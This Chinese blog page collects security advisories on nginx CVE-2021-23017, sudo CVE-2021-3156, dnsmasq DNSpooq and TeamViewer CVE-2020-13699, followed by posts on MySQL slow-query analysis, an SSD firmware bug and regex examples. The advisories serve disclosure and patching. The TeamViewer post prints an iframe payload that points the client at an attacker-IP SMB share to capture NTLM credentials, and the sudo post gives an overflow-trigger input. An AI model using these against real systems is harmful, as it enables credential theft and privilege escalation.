Skip to content


nginx resolver 拒绝服务漏洞CVE-2021-23017

之前有过一个 nginx resolver 拒绝服务漏洞(CVE-2016-0742),现在又出了一个.

如果没用resolver 参数,那没影响,可以升到最新nginx-1.21.0  来解决.

Changes with nginx 1.21.0                                        25 May 2021

    *) Security: 1-byte memory overwrite might occur during DNS server
       response processing if the "resolver" directive was used, allowing an
       attacker who is able to forge UDP packets from the DNS server to
       cause worker process crash or, potentially, arbitrary code execution
       (CVE-2021-23017).

概述

ngx_resolver_copy()在处理DNS响应时出现一个off-by-one错误,利用该漏洞网络攻击者可以在堆分配的缓冲区中写一个点字符(.’, 0x2E)导致超出范围。 所有配置解析器语法的(resolver xxxx)Nginx实例可以通过DNS响应(响应来自Nginx的DNS请求)来触发该漏洞。 特制数据包允许使用0x2E覆盖下一个堆块元数据的最低有效字节,利用该漏洞攻击者,可以实现Ddos拒绝服务,甚至可能实现远程代码执行。

由于Nginx中缺乏DNS欺骗缓解措施,并且在检查DNS事务ID之前调用了易受攻击的功能,因此远程攻击者可能能够通向中毒服务器注入受毒的DNS响应来利用此漏洞。

漏洞影响

严重等级: 高

漏洞向量: 远程/DNS

确认的受影响版本: 0.6.18-1.20.0

确认的修补版本: 1.21.0,1.20.1

供应商: F5,Inc.

状态: 公开

CVE: CVE-2021-23017

CWE: 193

CVSS得分: 8.1

CVSS向量:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

漏洞分析

当Nginx配置中设置resolver时,Nginx DNS解析器(core/ngx_resolver.c)用于通过DNS解析多个模块的主机名。

Nginx中通过ngx_resolver_copy()调用来验证和解压缩DNS响应中包含的每个DNS域名,接收网络数据包作为输入和指向正在处理的名称的指针,并在成功后返回指向包含未压缩名称的新分配缓冲区的指针。调用整体上分两步完成的,

1)计算未压缩的域名大小的长度len并验证输入包的合法性,丢弃包含大于128个指针或包含超出输入缓冲区边界的域名。

2)分配输出缓冲区,并将未压缩的域名复制到其中。

第1部分中的大小计算与第2部分中的未压缩的域名之间的不匹配,导致一个len的一个off-by-one错误,导致允许以一个字节为单位写一个点字符超出name->data的边界。

当压缩名称的最后一部分包含一个指向NUL字节的指针时,就会发生计算错误。 尽管计算步骤仅考虑标签之间的点,但每次处理标签并且接着的字符为非NUL时,解压缩步骤都会写入一个点字符。当标签后跟指向NUL字节的指针时,解压缩过程将:

// 1) copy the label to the output buffer,

ngx_strlow(dst, src, n);

dst += n;

src += n;

// 2) read next character,

n = *src++;

// 3) as its a pointer, its not NUL,

if (n != 0) {

// 4) so a dot character that was not accounted for is written out of bounds

*dst++ = ‘.’;

}

// 5) Afterwards, the pointer is followed,

if (n & 0xc0) {

n = ((n & 0x3f) << 8) + *src;

src = &buf[n];

n = *src++;

}

// 6) and a NULL byte is found, signaling the end of the function

if (n == 0) {

name->len = dst – name->data;

return NGX_OK;

}

如果计算的大小恰好与堆块大小对齐,则超出范围的点字符将覆盖下一个堆块长度的元数据中的最低有效字节。这可能会直接导致下一个堆块的大小写入,但还会覆盖3个标志,从而导致 PREV_INUSE被清除并 IS_MMAPPED被设置。

==7863== Invalid write of size 1

==7863== at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)

==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)

==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)

==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)

==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)

==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)

==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)

==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)

==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)

==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)

==7863== by 0x12237F: main (Nginx.c:383)

==7863== Address 0x4bbcfb8 is 0 bytes after a block of size 24 alloc’d

==7863== at 0x483E77F: malloc (vg_replace_malloc.c:307)

==7863== by 0x1448C4: ngx_alloc (ngx_alloc.c:22)

==7863== by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)

==7863== by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)

==7863== by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)

==7863== by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)

==7863== by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)

==7863== by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)

==7863== by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)

==7863== by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)

==7863== by 0x1474DA: ngx_spawn_process (ngx_process.c:199)

==7863== by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)

==7863== by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)

虽然目前还没有Poc出来,理论上该漏洞可以被用来进行远程代码执行。

攻击向量分析

DNS响应可以通过多种方式触发漏洞。

首先,Nginx必须发送了DNS请求,并且必须等待响应。 然后,可以在DNS响应的多个部分进行投毒:

DNS问题QNAME,

DNS回答名称,

DNS会回答RDATA以获得CNAME和SRV响应,

通过使用多个中毒的QNAME,NAME或RDATA值制作响应,可以在处理响应时多次击中易受攻击的函数,从而有效地执行多次脱机写入。

此外,当攻击者提供中毒的CNAME时,它将以递归方式解决,从而在执行过程中触发了额外的OOB写操作 ngx_resolve_name_locked() 调用ngx_strlow()(ngx_resolver.c:594)和其他OOB读取期间 ngx_resolver_dup()(ngx_resolver.c:790)和 ngx_crc32_short()(ngx_resolver.c:596)。

用于“example.net”请求的DNS响应示例负载,其中包含被污染的CNAME:

稍微不同的有效负载(poc.py中的有效负载)填充了足够的字节以覆盖 next_chunk.mchunk_size带点的最低有效字节:

24字节的标签导致分配了24字节的缓冲区,该缓冲区填充有24字节+一个超出范围的点字符。

漏洞修复和解决

通过向域名解析时,在域名末尾写入的伪造的点字符分配一个额外的字节可以缓解此问题。

受漏洞影响的配置

daemon off;

http{

access_log logs/access.log;

server{

listen 8080;

location / {

resolver 127.0.0.1:1053;

set $dns example.net;

proxy_pass $dns;

}

}

}

events {

worker_connections 1024;

}

https://baijiahao.baidu.com/s?id=1700787515121182676&wfr=spider&for=pc

Posted in 安全通告.


CVE-2021-3156:Sudo 堆缓冲区溢出漏洞通告

0x01漏洞简述

2021年01月27日,360CERT监测发现RedHat发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,漏洞等级:高危,漏洞评分:7.0

攻击者在取得服务器基础权限的情况下,可以利用sudo基于堆的缓冲区溢出漏洞,获得root权限。

目前debain已经修复该漏洞,centos依然受到影响

对此,360CERT建议广大用户及时将sudo升级到最新版本。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x02风险等级

360CERT对该漏洞的评定结果如下

评定方式等级
威胁等级高危
影响面广泛
360CERT评分7.0

0x03漏洞详情

CVE-2021-3156: 缓冲区溢出漏洞

sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

用户可以使用如下方法进行自查:

以非root用户登录系统,并使用命令sudoedit -s /

– 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

– 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

0x04影响版本

– sudo:sudo: 1.8.2 – 1.8.31p2

– sudo:sudo: 1.9.0 – 1.9.5p1

0x05修复建议

通用修补建议

下载升级sudo软件包,下载链接为:

sudo软件包下载地址

https://www.sudo.ws/dist/

临时修补建议

对于无法立即更新的用户,建议使用systemtap进行以下临时缓解:

1. 安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-"$(uname -r)"

对于RHEL 7,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。对于RHEL 8,使用命令安装 sudo debuginfo:debuginfo-install sudo

2. 创建以下systemtap脚本(将文件命名为sudoedit-block.stap):

probe process("/usr/bin/sudo").function("main") {
command = cmdline_args(0,0,"");
if (strpos(command, "edit") >= 0) {
raise(9);
}
}

3. 使用以下命令安装脚本:(使用root权限)

# nohup stap -g sudoedit-block.stap &

该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。

4. 一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用:

# kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)

0x06时间线

2021-01-27  RedHat官方发布通告

2021-01-27  360CERT发布通告

0x07参考链接

1、 RedHat官方通告

https://access.redhat.com/security/cve/CVE-2021-3156

2、 CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

来源:https://my.oschina.net/u/4600927/blog/4927558

rpm升级来修复

下载系统安装包
centos 5 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el5.x86_64.rpm
centos 6 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm
centos 7 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el7.x86_64.rpm
ubuntu 16.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu1604_amd64.deb
ubuntu 18.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-ldap_1.9.5-3_ubu1804_amd64.deb
ubuntu 20.04 https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo_1.9.5-3_ubu2004_amd64.deb
其他看官网 https://www.sudo.ws/download.html

cd /root/src/packages/
wget -N –no-check-certificate https://github.com/sudo-project/sudo/releases/download/SUDO_1_9_5p2/sudo-1.9.5-3.el6.x86_64.rpm && top
ll sudo-1.9.5-3.el6.x86_64.rpm
rpm -Uvh sudo-1.9.5-3.el6.x86_64.rpm
sudo -V
Sudo version 1.9.5p2

漏洞验证-修复完成
sudoedit -s ” perl -e ‘print “A” x 65536’
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-D
directory] [-g group] [-h host] [-p prompt]
[-R directory] [-T timeout] [-u user] file ..

Posted in 安全通告.


Dnsmasq: 多个高危漏洞风险通告

报告编号:B6-2021-012102

报告来源:360CERT

报告作者:360CERT

更新日期:2021-01-21

0x01事件简述

2021年01月21日,360CERT监测发现JSOF发布了DNSpooq的风险通告,事件等级:高危,事件评分:8.1

DNSpooqJSOF命名的本次披露的漏洞的统称,该报告主要围绕dnsmasq的漏洞展开。总计包含2处高危漏洞,2处中危漏洞,3处低危漏洞。

dnsmasq中存在多个高危漏洞,影响DNS服务正常的提供,并导致DNS缓存投毒引发以下后果

1. 域名劫持(网站访问劫持、数据窃取)

2. 流量劫持(网站内容劫持、数据窃取、分布式拒绝服务)

对此,360CERT建议广大用户好资产自查以及预防工作,以免遭受黑客攻击。

0x02风险等级

360CERT对该事件的评定结果如下

评定方式等级
威胁等级高危
影响面广泛
360CERT评分8.1

0x03漏洞详情

漏洞编号漏洞评分漏洞类型漏洞后果
CVE-2020-256818.1启用DNSSEC时,堆的缓冲区溢出远程代码执行
CVE-2020-256828.1启用DNSSEC时,缓冲区溢出远程代码执行
CVE-2020-256835.9启用DNSSEC时,堆缓冲区溢出拒绝服务
CVE-2020-256875.9启用DNSSEC时,堆缓存区溢出拒绝服务
CVE-2020-256844逻辑错误拒绝服务
CVE-2020-256854逻辑错误DNS 缓存投毒
CVE-2020-256864逻辑错误DNS 缓存投毒

0x04影响版本

dnsmasq:dnsmsaq: <2.83

0x05修复建议

通用修补建议

发行版

升级dnsmasq2.83以上 请根据发行版包管理器及时安装并重启dnsmasq,请根据具体情况选择命令。

# 更新软件包
yum update dnsmasq
apt upgrade dnsmasq
# 重启服务
systemctl restart dnsmasq

临时修补建议

网络侧

-禁止从外部网络访问dsnmasq

-设置--dns-forward-max=参数为小于 150 的值

-可以在理解DNSSEC功能的情况下,临时禁用该功能

-可以通过启用一些DNS安全传输的策略(DNS Over TLS, DoH, DoT)

参考命令

命令仅提供参考,具体需要结合服务器的实际情况进行配置

# iptables
sudo iptables -A INPUT -p udp --dport 53 -j DROP 
sudo iptables -A FORWARD -p udp --dport 53 -j DROP 
# firewall-cmd
sudo firewall-cmd --remove-port=53/udp --permanent

0x06相关空间测绘数据

360安全大脑-Quake网络空间测绘系统通过对全网资产测绘,发现dnsmasq具体分布如下图所示。

0x07产品侧解决方案

360城市级网络安全监测服务

360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn),通过资产测绘技术的方式,对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。

360安全分析响应平台

360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段,对该类漏洞的利用进行实时检测和阻断,请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。

0x08时间线

2021-01-21 360CERT发布通告

2021-01-21 JSOF 披露 DNSpooq 报告

0x09参考链接

1、 DNSpooq-Technical-WP.pdf

2、 DNSpooq

0x0a特制报告下载链接

一直以来,360CERT对全球重要网络安全事件进行快速通报、应急响应。为更好地为政企用户提供最新漏洞以及信息安全事件的安全通告服务,现360CERT正式推出安全通告特制版报告,以便用户做资料留存、传阅研究与查询验证。 用户可直接通过以下链接进行特制报告的下载。Dnsmasq: 多个高危漏洞风险通告

若有订阅意向与定制需求请发送邮件至 g-cert-report#360.cn ,并附上您的 公司名、姓名、手机号、地区、邮箱地址。

Posted in 安全通告.


TeamViewer 远程代码执行漏洞通告 (CVE-2020-13699)黑客可控制任意电脑



一、漏洞概要

2020年8月6日,TeamViewer官方发布了TeamViewer

URL处理的风险通告。TeamViewer存在未引用的搜索路径或元素的安全缺陷,由于应用程序没有正确引用它的自定义URI处理程序,当安装了TeamViewer的易受攻击版本的用户访问恶意创建的网站时,可能会被黑客利用。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。

说人话就是当你用有缺陷的版本访问到某恶意网站时,会将teamviewer的用户和密码发送给黑客,黑客反解密码后就可以登录你电脑操作了.在当前疫情环境下,很影响远程办公.

二、漏洞分析

2.1 TeamViewer介绍

TeamViewer是由德国公司TeamViewer GmbH开发的应用程序,可用于Windows,macOS,Linux,Chrome OS,iOS,Android,Windows RT Windows Phone 8和BlackBerry操作系统。

它主要用于远程访问和控制各种类型的计算机系统和移动设备,但也提供协作和演示功能(例如,桌面共享,Web会议,文件传输等)。

2.2 漏洞描述

TeamViewer存在未引用的搜索路径或元素的安全缺陷,由于应用程序没有正确引用它的自定义URI处理程序,当安装有TeamViewer的易受攻击版本的系统访问恶意创建的网站时,可能会被利用。

攻击者可以使用精心制作的URL(iframe src=’teamviewer10: –play \\attacker-IP\share\fake.tvs’)将恶意iframe嵌入网站中,从而启动TeamViewer Windows桌面客户端并强制其打开远程SMB共享。

Windows将在打开SMB共享时,执行NTLM身份验证,并且可以转发该请求(使用如响应程序之类的工具)以执行代码(或捕获该请求以进行哈希破解)。

该漏洞的利用可以远程启动,并且不需要事先进行身份验证,是水坑攻击的理想选择。

三、影响范围

【影响版本】

TeamViewer < 8.0.258861

TeamViewer < 9.0.28860

TeamViewer < 10.0.258873

TeamViewer < 11.0.258870

TeamViewer < 12.0.258869

TeamViewer < 13.2.36220

TeamViewer < 14.2.56676

TeamViewer < 15.8.3

四、解决方案

打开TeamViewer -> 点击按钮帮助 -> 点击按钮关于TeamViewer -> 查看TeamViewer版本号。

以确保TeamViewer的版本是非漏洞版本。

4.2 修复方案

针对此漏洞官方已在8.0.258861、9.0.258860、10.0.258873、11.0.258870、12.0.258869、13.2.36220、14.2.56676、14.7.48350和15.8.3版本中修复。

请受影响的用户参考以下链接安装补丁更新:https://www.teamviewer.com/en/download/previous-versions/

五、时间轴

2020/8/6 TeamViewer发布通告

2020/8/10 深信服千里目安全实验室发布通告

六、参考链接

https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448

https://jeffs.sh/CVEs/CVE-2020-13699.txt



Posted in 安全通告.


percona-toolkit工具pt-query-digest分析mysql慢查询

bin/mysqldumpslow -t10 -s /opt/mysql/var/slow.log
“mysqldumpslow.sh” is not currently compatible with Percona extended slow query
log format. Please use “pt-query-digest” from Percona Toolkit instead
(https://www.percona.com/doc/percona-toolkit/2.2/pt-query-digest.html).

使用mysqldumpslow分析percona mysql慢日志会提示使用 pt-query-digest

wget percona.com/get/percona-toolkit.tar.gz
tar zxf percona-toolkit.tar.gz
cd percona-toolkit-3.1.0
perl Makefile.PL PREFIX=/usr/local/percona-toolkit
make && make install

cd /usr/local/percona-toolkit
pt-query-digest /opt/mysql/var/slow.log
pt-query-digest –since=48h /opt/mysql/var/slow.log > slow_report.log

1.直接分析慢查询文件:
pt-query-digest slow.log > slow_report.log

2.分析最近12小时内的查询:

pt-query-digest –since=12h slow.log > slow_report2.log
3.分析指定时间范围内的查询:

pt-query-digest slow.log –since ‘2017-01-07 09:30:00’ –until ‘2017-01-07 10:00:00’> > slow_report3.log
4.分析指含有select语句的慢查询

pt-query-digest –filter ‘$event->{fingerprint} =~ m/^select/i’ slow.log> slow_report4.log
5.针对某个用户的慢查询

pt-query-digest –filter ‘($event->{user} || “”) =~ m/^root/i’ slow.log> slow_report5.log
6.查询所有所有的全表扫描或full join的慢查询

pt-query-digest –filter ‘(($event->{Full_scan} || “”) eq “yes”) ||(($event->{Full_join} || “”) eq “yes”)’ slow.log> slow_report6.log

参考:https://www.cnblogs.com/luyucheng/p/6265873.html

Posted in Mysql.

Tagged with , .


惠普服务器硬盘面临数据丢失威胁,三星固态硬盘固件门曝光:32746小时“自毁”暴雷!

近日HPE惠与(原HP惠普企业部门分拆而来)发布安全公告,部分服务器和存储产品中所用的固态硬盘固件存在缺陷,通电32746小时(3年零270天8小时)后硬盘上的数据将丢失!

这些HPE服务器或存储产品中使用了来自第三方供应商的SAS接口固态硬盘,受固件BUG影响,一旦通电时间达到32746小时,硬盘就会发生故障,数据将丢失并且不可恢复。

由于存储阵列中通常采用同款型号的硬盘,它们有可能同时因固件缺陷而失效,导致RAID冗余阵列也无法保护数据安全。HPE要求表格中列出的20种型号的固态硬盘尽快升级至HPD8固件版本。

考虑到一些型号的固态硬盘拥有高达15.3TB的容量,一旦出现故障将会导致大量数据无法恢复。尽管HPE没有点明具体是哪一家供应商的缺陷,但通过型号不难查明它们来自三星:

同操作系统一样,SSD固件BUG由来已久,上次我们听到与通电时间有关的固件BUG还是美光M4的固件门事件,当时M4被发现会在通电5184小时后卡死,并在重新启动后每小时卡死一次,导致没有保存的数据丢失。据说该故障与固态硬盘的SMART Power On Hours计数器有关。

三星这次出现在企业级固态硬盘中的32746小时BUG,潜伏时间要更长一些,后果也更为惨重(盘上全部数据无法恢复)。目前还不清楚除HPE之外是否还有其他服务器中内置的三星OEM固态硬盘存在相同缺陷。

Posted in 安全通告.


PCRE的正则表达式应用例子

网上看到,随手贴的例子,方便查阅

一、校验数字的表达式

  • 数字:^[0-9]*$
  • n位的数字:^\d{n}$
  • 至少n位的数字:^\d{n,}$
  • m-n位的数字:^\d{m,n}$
  • 零和非零开头的数字:^(0|[1-9][0-9]*)$
  • 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(\.[0-9]{1,2})?$
  • 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})$
  • 正数、负数、和小数:^(\-|\+)?\d+(\.\d+)?$
  • 有两位小数的正实数:^[0-9]+(\.[0-9]{2})?$
  • 有1~3位小数的正实数:^[0-9]+(\.[0-9]{1,3})?$
  • 非零的正整数:^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$
  • 非零的负整数:^\-[1-9][]0-9″*$ 或 ^-[1-9]\d*$
  • 非负整数:^\d+$ 或 ^[1-9]\d*|0$
  • 非正整数:^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$
  • 非负浮点数:^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
  • 非正浮点数:^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
  • 正浮点数:^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$
  • 负浮点数:^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$
  • 浮点数:^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$

校验字符的表达式

  • 汉字:^[\u4e00-\u9fa5]{0,}$
  • 英文和数字:^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$
  • 长度为3-20的所有字符:^.{3,20}$
  • 由26个英文字母组成的字符串:^[A-Za-z]+$
  • 由26个大写英文字母组成的字符串:^[A-Z]+$
  • 由26个小写英文字母组成的字符串:^[a-z]+$
  • 由数字和26个英文字母组成的字符串:^[A-Za-z0-9]+$
  • 由数字、26个英文字母或者下划线组成的字符串:^\w+$ 或 ^\w{3,20}$
  • 中文、英文、数字包括下划线:^[\u4E00-\u9FA5A-Za-z0-9_]+$
  • 中文、英文、数字但不包括下划线等符号:^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$
  • 可以输入含有^%&’,;=?$\”等字符:[^%&’,;=?$\x22]+
  • 禁止输入含有~的字符:[^~\x22]+

三、特殊需求表达式

  • Email地址:^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
  • 域名:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?
  • InternetURL:[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$
  • 手机号码:^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$
  • 电话号码(“XXX-XXXXXXX”、”XXXX-XXXXXXXX”、”XXX-XXXXXXX”、”XXX-XXXXXXXX”、”XXXXXXX”和”XXXXXXXX):^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
  • 国内电话号码(0511-4405222、021-87888822):\d{3}-\d{8}|\d{4}-\d{7}
  • 电话号码正则表达式(支持手机号码,3-4位区号,7-8位直播号码,1-4位分机号): ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)
  • 身份证号(15位、18位数字),最后一位是校验位,可能为数字或字符X:(^\d{15}$)|(^\d{18}$)|(^\d{17}(\d|X|x)$)
  • 帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
  • 密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):^[a-zA-Z]\w{5,17}$
  • 强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在 8-10 之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{8,10}$
  • 强密码(必须包含大小写字母和数字的组合,可以使用特殊字符,长度在8-10之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$
  • 日期格式:^\d{4}-\d{1,2}-\d{1,2}
  • 一年的12个月(01~09和1~12):^(0?[1-9]|1[0-2])$
  • 一个月的31天(01~09和1~31):^((0?[1-9])|((1|2)[0-9])|30|31)$
  • 钱的输入格式:
    1. 有四种钱的表示形式我们可以接受:”10000.00″ 和 “10,000.00”, 和没有 “分” 的 “10000” 和 “10,000”:^[1-9][0-9]*$
    2. 这表示任意一个不以0开头的数字,但是,这也意味着一个字符”0″不通过,所以我们采用下面的形式:^(0|[1-9][0-9]*)$
    3. 一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号:^(0|-?[1-9][0-9]*)$
    4. 这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧。下面我们要加的是说明可能的小数部分:^[0-9]+(.[0-9]+)?$
    5. 必须说明的是,小数点后面至少应该有1位数,所以”10.”是不通过的,但是 “10” 和 “10.2” 是通过的:^[0-9]+(.[0-9]{2})?$
    6. 这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样:^[0-9]+(.[0-9]{1,2})?$
    7. 这样就允许用户只写一位小数.下面我们该考虑数字中的逗号了,我们可以这样:^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$
    8. 1到3个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须:^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$
    9. 备注:这就是最终结果了,别忘了”+”可以用”*”替代如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里
  • xml文件:^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$
  • 中文字符的正则表达式:[\u4e00-\u9fa5]
  • 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))
  • 空白行的正则表达式:\n\s*\r (可以用来删除空白行)
  • HTML标记的正则表达式:<(\S*?)[^>]*>.*?|<.*? /> ( 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)
  • 腾讯QQ号:[1-9][0-9]{4,} (腾讯QQ号从10000开始)
  • 中国邮政编码:[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)
  • IP地址:((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))

匹配a标签的值和href

<a\b[^>]+\bhref=”([^”]*)”[^>]*>([\s\S]*?)</a>
分组1和分组2即为href和value

解释:
<a\b #匹配a标签的开始

[^>]+ #匹配a标签中href之前的内容

\bhref=”([^”]*)” #匹配href的值,并将匹配内容捕获到分组1当中

[^>]*> #匹配a标签中href之后的内容

([\s\S]*?) #匹配a标签的value,并捕获到分组2当中,?表示懒惰匹配

</a> #匹配a标签的结束

其他示例

/\b([a-z]+) \1\b/gi一个单词连续出现的位置。
/(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/将一个URL解析为协议、域、端口及相对路径。
/^(?:Chapter|Section) [1-9][0-9]{0,1}$/定位章节的位置。
/[-a-z]/A至z共26个字母再加一个-号。
/ter\b/可匹配chapter,而不能匹配terminal。
/\Bapt/可匹配chapter,而不能匹配aptitude。
/Windows(?=95 |98 |NT )/可匹配Windows95或Windows98或WindowsNT,当找到一个匹配后,从Windows后面开始进行下一次的检索匹配。
/^\s*$/匹配空行。
/\d{2}-\d{5}/验证由两位数字、一个连字符再加 5 位数字组成的 ID 号。
/<\s*(\S+)(\s[^>]*)?>[\s\S]*<\s*\/\1\s*>/匹配 HTML 标记。
用户名/^[a-z0-9_-]{3,16}$/
密码/^[a-z0-9_-]{6,18}$/
密码2(?=^.{8,}$)(?=.*\d)(?=.*\W+)(?=.*[A-Z])(?=.*[a-z])(?!.*\n).*$ (由数字/大写字母/小写字母/标点符号组成,四种都必有,8位以上)
十六进制值/^#?([a-f0-9]{6}|[a-f0-9]{3})$/
电子邮箱/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/
/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/或\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*
URL/^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/ 或 [a-zA-z]+://[^\s]*
IP 地址/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)/
/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ 或 ((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)
HTML 标签/^<([a-z]+)([^<]+)*(?:>(.*)<\/\1>|\s+\/>)$/或<(.*)(.*)>.*<\/\1>|<(.*) \/>
删除代码\\注释(?<!http:|\S)//.*$
匹配双字节字符(包括汉字在内)[^\x00-\xff]
汉字(字符)[\u4e00-\u9fa5]
Unicode编码中的汉字范围/^[\u2E80-\u9FFF]+$/
中文及全角标点符号(字符)[\u3000-\u301e\ufe10-\ufe19\ufe30-\ufe44\ufe50-\ufe6b\uff01-\uffee]
日期(年-月-日)(\d{4}|\d{2})-((0?([1-9]))|(1[1|2]))-((0?[1-9])|([12]([1-9]))|(3[0|1]))
